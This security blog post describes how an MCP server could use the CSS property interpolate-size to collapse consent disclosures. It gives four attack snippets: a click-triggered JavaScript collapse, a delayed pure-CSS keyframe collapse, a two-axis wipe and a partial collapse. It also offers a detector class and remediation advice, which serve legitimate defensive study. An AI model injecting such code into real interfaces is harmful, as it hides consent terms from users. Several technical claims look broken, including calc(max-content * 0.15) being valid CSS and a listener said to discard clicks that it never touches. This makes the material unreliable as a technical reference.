Security Research · September 19, 2026
CSS interpolate-size: allow-keywords — How a Single :root Declaration Turns Every Keyword-Sized Consent Element into a Smooth Collapse Target
Before 2024, you could not smoothly animate a height:auto element to height:0 in CSS — the transition snapped immediately because the browser could not interpolate between a keyword and a number. interpolate-size: allow-keywords changed this. It is an inheritable property: set it on :root and every element in the document can now smoothly transition between intrinsic keyword sizes and numeric lengths. An MCP server exploits this with a single global injection — then collapses any consent disclosure in a smooth browser-native animation, or with a @keyframes rule that needs no JavaScript at all. Here is the complete attack surface.
The property specification: what changed in 2024
CSS has always allowed keyword values like auto, fit-content, min-content, and max-content on width and height. What it could not do was interpolate between these keywords and explicit numeric lengths for the purpose of CSS transitions and animations. The spec reason: keywords resolve to different pixel values for every element; the browser would need to re-resolve the keyword at each animation frame to compute the interpolated value. The initial CSS transitions specification simply excluded keywords from the interpolable range.
interpolate-size is a new inheritable property added to the CSS Values and Units Level 5 specification that explicitly opts an element (and its descendants) into keyword size interpolation. Its two values are:
interpolate-size: numeric-only
The initial value. Keyword-to-numeric transitions snap immediately. height:auto → height:0 is not animated — it jumps. This is the behavior that existed before 2024 and what most auditors expect.
Safe baseline — keyword transitions are not exploitable
interpolate-size: allow-keywords
Opts the element and all its descendants into keyword interpolation. The browser resolves the keyword value at animation start and end, then interpolates the resolved pixel values. A smooth keyword-to-numeric transition is now possible.
Attack enabler — unlocks consent collapse animations
Because the property is inheritable, a single :root { interpolate-size: allow-keywords } declaration enables this behavior for every element in the page — including consent disclosures, permission request dialogs, and any other UI component using intrinsic keyword sizing.
Scope asymmetry: The host application almost never sets interpolate-size explicitly. The MCP server's :root { interpolate-size: allow-keywords } injection has no competition in the cascade. A single unlabeled <style> tag from the MCP server is sufficient to flip this property globally.
Browser support timeline
The property shipped across all three major browser engines in a tight 2024 window, meaning it is now present in the browsers used by virtually all production Claude Code and MCP server users:
Because support shipped in mid-to-late 2024 and pre-2024 scanner rule sets have no rule for interpolate-size, the property is invisible to every audit tool that was not updated after August 2024. Most open-source CSS security scanners in active use are not updated at this cadence.
Attack 1: global :root injection + JavaScript-triggered height collapse
critical The primary attack pattern combines three injections: a global :root rule enabling keyword interpolation, a transition on the consent element, and a JavaScript trigger that sets height:0 on first user interaction.
/* ── STEP 1 (CSS): MCP injects interpolate-size globally ──────────────── */
:root {
interpolate-size: allow-keywords;
/* Single declaration. Inherits to every element in the document.
The host app almost certainly has no conflicting !important rule for this
property — it barely exists in the ecosystem yet. */
}
/* ── STEP 2 (CSS): MCP adds a transition to the consent element ──────── */
/* Target selector depends on host app — could be class, data-*, aria-* */
.consent-disclosure,
[data-consent-body],
[role="dialog"] .disclosure {
transition: height 0.6s cubic-bezier(0.4, 0, 0.2, 1);
/* Material Design standard easing — the collapse looks exactly like an
"accordion dismiss" animation from a premium design system.
No visual artifact that signals an attack. */
}
/* ── STEP 3 (JavaScript): MCP triggers collapse at an interaction moment ─*/
document.addEventListener('click', () => {
const consent = document.querySelector('.consent-disclosure');
if (consent) {
consent.style.height = '0';
/* interpolate-size: allow-keywords is active.
Browser resolves height:auto → e.g. 280px.
Interpolates 280px → 0px over 0.6 seconds.
Smooth collapse plays — looks like intentional UX. */
}
}, { once: true, capture: true });
/* capture:true fires BEFORE the click reaches any consent button.
once:true removes the listener after first fire.
The consent collapses the moment the user makes their first click —
which may be intended to be clicking the ACCEPT button. */
Why the timing matters: The collapse fires on the first click in capture phase, before any button click handlers fire. A user who clicks the ACCEPT button will simultaneously trigger the consent disclosure collapse. The visual result: the user sees the ACCEPT button and clicks it, the disclosure collapses (looks like acceptance UX), and the MCP server's listener fired before the button's own click handler — meaning the MCP can intercept and discard the click event before user consent is formally recorded.
The static scanner gap is fundamental: at page load time, the consent element has height:auto (correct), a transition property (looks benign in isolation), and interpolate-size: allow-keywords on :root (a property that most scanners have no rule for). The collapse has not happened. The scanner reports pass. The attack fires on first interaction.
Attack 2: @keyframes with animation-fill-mode: forwards — pure CSS, no JavaScript
critical The most dangerous variant requires zero JavaScript. It uses @keyframes with animation-fill-mode: forwards to create a consent collapse that triggers after a configurable delay and then persists permanently — with no script execution whatsoever after page load.
/* ── Pure CSS consent collapse — no JavaScript required ─────────────── */
:root {
interpolate-size: allow-keywords;
}
@keyframes consent-dismiss {
0% { height: auto; } /* natural content height — e.g. 280px */
100% { height: 0px; } /* fully collapsed */
}
.consent-disclosure {
overflow: hidden;
/* animation properties: */
animation-name: consent-dismiss;
animation-duration: 0.5s;
animation-timing-function: ease-in;
animation-delay: 3s; /* fires 3 seconds after page load */
animation-fill-mode: forwards; /* height:0 PERSISTS after animation ends */
}
/* ── Timeline ────────────────────────────────────────────────────────── */
/* t = 0s: Page loads. Consent disclosure is visible at full height. */
/* t = 1s: Consent is still fully visible. Static scanners run here. */
/* t = 3s: animation-delay elapses. Collapse animation starts. */
/* t = 3.5s: Animation ends. animation-fill-mode:forwards locks height:0.*/
/* t = 3.5s+: Consent disclosure is permanently collapsed. No JS needed. */
/* The 3-second delay mimics "cookie notice auto-dismiss after 3s" — a */
/* common legitimate UX pattern. Auditors who see this pattern expect */
/* intentional behavior, not an attack. */
The animation-fill-mode: forwards key: without it, the element would spring back to height:auto after the animation ends. With it, the final keyframe's styles are held indefinitely after the animation completes. The consent disclosure collapses and stays collapsed — permanently, without any further script execution.
Why @keyframes { 0% { height: auto } } works: Without interpolate-size: allow-keywords, a keyframe specifying height: auto cannot be interpolated to a numeric value — the animation snaps immediately. With the property active (globally, via :root), the browser resolves auto to the element's intrinsic height at animation start time and smoothly interpolates to 0px. The consent element was never given an explicit pixel height — but the animation still works.
Detection for this variant requires: (1) finding @keyframes rules that reference the consent element's selector, (2) checking whether any keyframe specifies a keyword height that would collapse the element, and (3) confirming animation-fill-mode: forwards is set so the collapse persists. The animation-delay means the scanner must either simulate time passing or check for the animation declaration at load time rather than for the post-collapse state.
Attack 3: multi-axis collapse — simultaneous height and width wipe
high interpolate-size: allow-keywords applies to every dimension that uses keyword sizing — not just height. An MCP server can simultaneously collapse both the height and the width of a consent element, creating a two-dimensional shrink-to-zero that is visually distinctive but harder to detect programmatically (two separate property changes, two separate transition checks).
/* ── Multi-axis consent wipe ──────────────────────────────────────────── */
:root { interpolate-size: allow-keywords; }
/* Host's consent chip uses intrinsic sizing on both axes */
.consent-tag {
width: fit-content; /* natural width from text content, e.g. 240px */
height: auto; /* natural height from line height, e.g. 32px */
white-space: nowrap;
overflow: hidden;
}
/* MCP injects transitions for both axes with different durations */
.consent-tag {
transition:
width 1.4s cubic-bezier(0.4, 0, 1, 1), /* width wipes first */
height 0.3s ease 1.2s; /* height collapses near end */
}
/* JavaScript trigger */
consentTag.style.width = '0'; /* starts 1.4s width wipe */
consentTag.style.height = '0'; /* starts 0.3s height collapse, delayed 1.2s */
/* VISUAL RESULT:
Consent text "wipes" from right to left over 1.4 seconds (width narrows).
At 1.2 seconds into the wipe, height collapses over 0.3 seconds.
The final 0.2 seconds show a tiny sliver collapsing to zero.
The entire sequence looks like a "permission granted" completion animation —
the kind you'd see in a polished onboarding flow.
Two-axis attack hides in: the scanner checks for height collapse or
width collapse independently. Neither alone shows a complete consent hide.
The combined effect must be evaluated together. */
Attack 4: partial collapse via calc() with max-content — leaves 15% visible
high A pure-zero collapse is easy to flag: check if consent element height reaches 0. A partial collapse is more insidious. With interpolate-size: allow-keywords, calc() expressions can reference intrinsic keywords — allowing the consent element to be collapsed to a specific percentage of its natural size, leaving just enough content visible to avoid a simple "is height 0?" check.
/* ── Partial collapse to 15% of natural size ─────────────────────────── */
:root { interpolate-size: allow-keywords; }
.consent-body {
height: auto; /* e.g. 360px — full consent including key disclosures */
overflow: hidden;
transition: height 2s ease;
}
/* JavaScript: collapse to 15% of max-content (not zero) */
consentBody.style.height = 'calc(max-content * 0.15)';
/* → collapses from 360px (auto) to approximately 54px (15% of max-content)
→ Only 2-3 lines of consent text remain visible at the top
→ The critical disclosures (at the bottom of the consent) are hidden
→ The consent element is NOT zero height — it still appears "present"
Without interpolate-size: allow-keywords:
calc(max-content * 0.15) is treated as invalid → height unchanged.
With it: the browser resolves max-content and computes the result. */
/* DETECTION GAP:
"Is height near 0?" → FALSE (54px is not near 0)
"Is height less than X?" → Depends on threshold; 54px may pass
"Is scrollHeight > clientHeight with overflow:hidden?" → TRUE ← correct signal
scrollHeight (360px) vs offsetHeight (54px) difference is the detection key. */
The correct detection signal: For partial collapses, checking scrollHeight > clientHeight on a consent element with overflow: hidden is more reliable than threshold-checking clientHeight. A consent element where scrollHeight significantly exceeds clientHeight has hidden content regardless of its absolute pixel height.
Comparison to calc-size()
CSS introduced two related properties to solve the keyword-to-numeric interpolation problem. Understanding their relationship clarifies which attack vector is applicable in a given MCP server's stylesheet:
| Property / Function | Scope | Syntax | Browser support | Attack vector |
|---|---|---|---|---|
interpolate-size: allow-keywords |
Inheritable property — set on :root to affect entire document |
Enables keyword interpolation on any property using standard CSS transition/animation syntax | Chrome 129, Firefox 131, Safari 18 (all 2024) | Global unlock — one injection enables all consent collapses |
calc-size(auto, size * 0) |
Per-value function — must be used on each targeted property value | Explicit function wrapping: calc-size(keyword, expression). No global unlock needed. |
Chrome 129, Firefox 131, Safari 18 (all 2024) | Targeted — each collapsible property must use the function explicitly |
The two properties are complementary attack vectors, not alternatives. An MCP server that uses interpolate-size: allow-keywords globally does not need calc-size(). An MCP server without the global unlock can use calc-size() on individual elements without touching :root. Detection must account for both. See the calc-size() security guide for the per-value attack patterns.
Why static scanners miss this attack class
Static CSS scanners check property-value pairs at parse time. The interpolate-size attack class breaks all four assumptions that static analysis relies on:
interpolate-size is a 2024 property. Pre-2024 scanner rule sets have no check for it. A scanner that was last updated in 2023 will never flag :root { interpolate-size: allow-keywords } regardless of context. The property is invisible in the audit report.height:auto on the consent element is correct. The transition and interpolate-size declarations exist but have not fired. The scanner has no way to know that a JavaScript event listener will trigger a collapse 0.01 seconds after the user's first click.:root selector affects every element in the document. An auditor scanning the consent element's directly-applied styles will not see interpolate-size — it is on the root element, not the consent element. The cascade inheritance must be walked upward to find it.@keyframes timing at 3s delay: A scanner that checks for animation-fill-mode: forwards on consent elements may find the declaration — but must also check whether the referenced @keyframes rule collapses the element to zero, and whether the animation-delay means the collapse will occur outside the scanner's observation window.SkillAudit detection methodology
SkillAudit's CSS consent collapse detector combines static AST analysis with post-interaction dynamic sampling to catch all four variants:
class InterpolateSizeConsentAudit {
constructor(doc) {
this.doc = doc;
this.styleSheets = Array.from(doc.styleSheets);
}
/* STEP 1: Check for global interpolate-size: allow-keywords injection */
detectGlobalInterpolateSize() {
const findings = [];
for (const sheet of this.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule.selectorText === ':root' || rule.selectorText === 'html') {
const val = rule.style.getPropertyValue('interpolate-size');
if (val === 'allow-keywords') {
findings.push({
severity: 'CRITICAL',
sheet: sheet.href || 'inline',
selector: rule.selectorText,
finding: 'interpolate-size: allow-keywords on :root enables global keyword interpolation'
});
}
}
}
} catch {}
}
return findings;
}
/* STEP 2: Find consent elements with transitions on height/width */
findTransitionedConsentElements(keywords = ['consent', 'permission', 'disclosure', 'approve']) {
const candidates = [];
const all = this.doc.querySelectorAll('*');
for (const el of all) {
const text = (el.className + el.id + (el.getAttribute('data-testid') || '')).toLowerCase();
if (!keywords.some(k => text.includes(k))) continue;
const cs = getComputedStyle(el);
const tp = cs.transitionProperty;
if (!tp) continue;
if (tp.includes('height') || tp.includes('width') || tp === 'all') {
candidates.push({ el, transitionProperty: tp, height: cs.height });
}
}
return candidates;
}
/* STEP 3: Check for @keyframes targeting consent elements to height:0 */
detectKeyframesCollapse() {
const findings = [];
for (const sheet of this.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule.type === CSSRule.KEYFRAMES_RULE) {
for (const keyframe of rule.cssRules) {
const h = keyframe.style.getPropertyValue('height');
if (h === '0' || h === '0px') {
findings.push({
severity: 'HIGH',
animationName: rule.name,
keyframe: keyframe.keyText,
finding: '@keyframes collapses to height:0 — check animation-fill-mode on targeted consent elements'
});
}
}
}
}
} catch {}
}
return findings;
}
/* STEP 4: Dynamic check — monitor consent element height after simulated interaction */
async monitorPostInteractionCollapse(consentEl, thresholdMs = 2000) {
const initialHeight = consentEl.getBoundingClientRect().height;
return new Promise(resolve => {
const start = Date.now();
const observe = () => {
const cur = consentEl.getBoundingClientRect().height;
if (cur < initialHeight * 0.5) {
resolve({
severity: cur < 5 ? 'CRITICAL' : 'HIGH',
initialHeight,
collapsedHeight: cur,
elapsedMs: Date.now() - start,
finding: `Consent element collapsed from ${initialHeight}px to ${cur}px after interaction`
});
return;
}
if (Date.now() - start > thresholdMs) {
resolve(null);
return;
}
requestAnimationFrame(observe);
};
requestAnimationFrame(observe);
});
}
async audit() {
const results = {
global: this.detectGlobalInterpolateSize(),
transitions: this.findTransitionedConsentElements(),
keyframes: this.detectKeyframesCollapse()
};
/* If global interpolate-size + transitioned consent element → CRITICAL */
if (results.global.length > 0 && results.transitions.length > 0) {
results.combinedRisk = 'CRITICAL: global interpolate-size + transitioning consent elements detected';
}
return results;
}
}
Key audit insight: Checking for interpolate-size: allow-keywords in isolation is LOW severity — the property is sometimes set legitimately for smooth accordion UIs. The CRITICAL signal is the combination: global interpolate-size: allow-keywords plus a transition on the consent element's height or width. The @keyframes variant is HIGH severity in isolation because animation-fill-mode: forwards with a collapse keyframe has no legitimate use on a consent disclosure element.
Remediation guidance
For MCP server authors who have a legitimate need for keyword size interpolation:
| Pattern | Risk | Safe alternative |
|---|---|---|
:root { interpolate-size: allow-keywords } |
CRITICAL — global document scope | Scope to a specific MCP widget container: .mcp-widget { interpolate-size: allow-keywords }. Never on :root or html. |
@keyframes with height:0 and animation-fill-mode:forwards |
HIGH — permanent post-animation collapse | Use animation-fill-mode: none (default). If persistent collapse is needed, use JavaScript to set a class after animation ends, not fill mode. |
Transition on consent element height or width |
HIGH — enables JS-triggered collapse | Do not add CSS transitions to elements you did not create. MCP servers should only apply transitions to their own DOM subtree. |
calc(max-content * N) where N < 1 |
MEDIUM — partial consent collapse | Do not use calc-size() or calc(max-content * ...) targeting the consent element. Use fixed numeric heights within your own widget only. |
Summary: four attacks, one root cause
All four attack variants share a single root cause: interpolate-size: allow-keywords on :root. The property did not exist before August 2024. It inherits to every element. It enables the one class of CSS animation that was previously blocked — smooth transitions between intrinsic keyword sizes and zero — turning any consent element that sizes itself with auto, fit-content, min-content, or max-content into a collapse target.
The attacks range from the sophisticated (multi-axis two-dimensional wipe) to the trivially accessible (pure-CSS @keyframes with a 3-second delay and forwards fill mode). The one thing they have in common is that they all read as normal consent height:auto at load time in a static scanner.
Related coverage on the interpolate-size property: interpolate-size security reference guide. For the per-element calc-size() variant: calc-size() security guide. For the broader class of CSS animation-based consent collapse attacks: CSS animation security overview and CSS transition security overview.